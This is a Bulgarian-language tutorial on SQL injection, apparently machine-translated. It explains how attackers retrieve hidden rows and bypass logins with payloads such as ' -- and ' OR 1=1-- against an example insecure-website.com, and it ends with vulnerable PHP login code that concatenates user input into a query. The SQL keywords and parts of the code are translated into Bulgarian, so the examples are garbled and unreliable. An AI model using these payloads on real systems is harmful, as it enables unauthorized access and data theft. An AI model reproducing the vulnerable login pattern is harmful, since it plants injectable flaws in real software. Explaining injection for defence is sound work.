Как да инжектирате SQL

Какво е SQL инжекция (SQLi)?

SQL инжекцията е един от най-често срещаните механизми за уеб атаки, използвани от нападателите за кражба на записи и чувствителни записи от бизнес или платформа за социални медии. Въпреки че SQL Injection може да загуби всякаква информация от приложение, което използва SQL база данни, то се използва най-често за нападение на уеб уебсайтове. SQL инжекцията е техника за инжектиране на код, която хакерите могат да използват за вмъкване на злонамерени SQL изрази във входни заявки за изпълнение през основната SQL база данни. Този метод е осъществим поради неправилно кодиране на наклонени уеб пакети. SQL инжекцията се повишава поради факта, че достъпът до полета за въвеждане е предоставен за потребителя да въведе всички лоши типове SQL изрази, за да премине през и да вмъкне заявки директно в базата данни.

Различни видове инжекции



  • Променете SQL заявката и извлечете допълнителна информация от базата данни, можем да кажем това извличане на скрити данни от таблици.
  • Намесете се в бизнес логиката и променете заявката, за да промените логиката на приложението.
  • Вземете данни от различни таблици в базата данни и атакувайте върху тях, това се нарича UNION атаки.
  • Разглеждане на базата данни, в която можете да извлечете информация приблизително за версията и структурата на базата данни.

Вземете скрити данни

Нека напишем този URL в браузъра си и да вземем категориите бонуси от таблицата:

https://insecure-website.com/products?category=Бонус

Това кара приложението да направи SQL въпрос, за да извлече информация за съответната стока от базата данни по следния начин:

ИЗБЕРЕТЕ * ОТ стока КЪДЕТО категория = „Бонус“ И освободен = 1

Тази SQL заявка изисква от базата данни да върне:

  • цялата информация (*)
  • От бюрото с продукти
  • Където категорията е Бонус
  • И пуснато е 1

Софтуерът не въвежда в сила никакви защити срещу атаки с инжектиране на SQL, така че нападателят може да организира нападение като:

https://insecure-website.com/products?category=Bonus’ – –

Резултатът от горната заявка е:

ИЗБЕРЕТЕ * ОТ продукти КЪДЕТО категория = „Бонус“–“ И пуснати = 1

Ключовият компонент тук е, че серията с двойно тире — е индикатор за забележки в SQL и означава, че останалата част от въпроса се интерпретира като коментар. Това успешно премахва останалата част от заявката, така че вече не включва AND launched = 1. По този начин се показва всеки един продукт, като например непуснати продукти.

Друг метод за SQL инжекция:

https://insecure-website.com/products?category=Bonus’+OR+1=1–

Резултатът:

ИЗБЕРЕТЕ * ОТ продукти КЪДЕТО категория = „Бонус“ ИЛИ 1=1–‘ И пуснати = 1

Използвайки горната заявка, можете лесно да атакувате базата данни.

Променете логиката на приложението

Заобиколете акаунта за влизане, като използвате следната заявка:

ИЗБЕРЕТЕ * ОТ потребители КЪДЕТО потребителско име = ‘john’ И парола = ‘johnwilliam’

Регистърът на нападателя с потребителското име без никаква парола, в SQL заявка използвайте – – парола с двойно тире и я коментирайте в клаузата where. Например, изпратете заявка на администратора на потребителско име и празно поле за парола. Запитването е:

ИЗБЕРЕТЕ * ОТ потребители КЪДЕТО потребителско име = ‘администратор’ – – ‘ И парола =

Те също така са много методи за SQL инжектиране.

Как да инжектирате SQL в страницата за вход

По-долу е даден прост PHP код за SQL инжекция в страницата за вход:

$uname = $_POST [ ‘ uname ‘ ] ;

$passwrd = $_POST [ ‘passwrd’];

$query = ‘ изберете потребителско име, преминете от потребители, където потребителско име = ‘ $uname ‘ и парола = ‘ $passwrd

$result = mysql_query ($query);

$rows = mysql_fetch_array ($резултат);

Ако ( $редове )

{

echo ‘ Влезли сте успешно ‘ ;
create_session() ;

}

друго {

echo ‘ По-добър късмет следващия път’ ;
}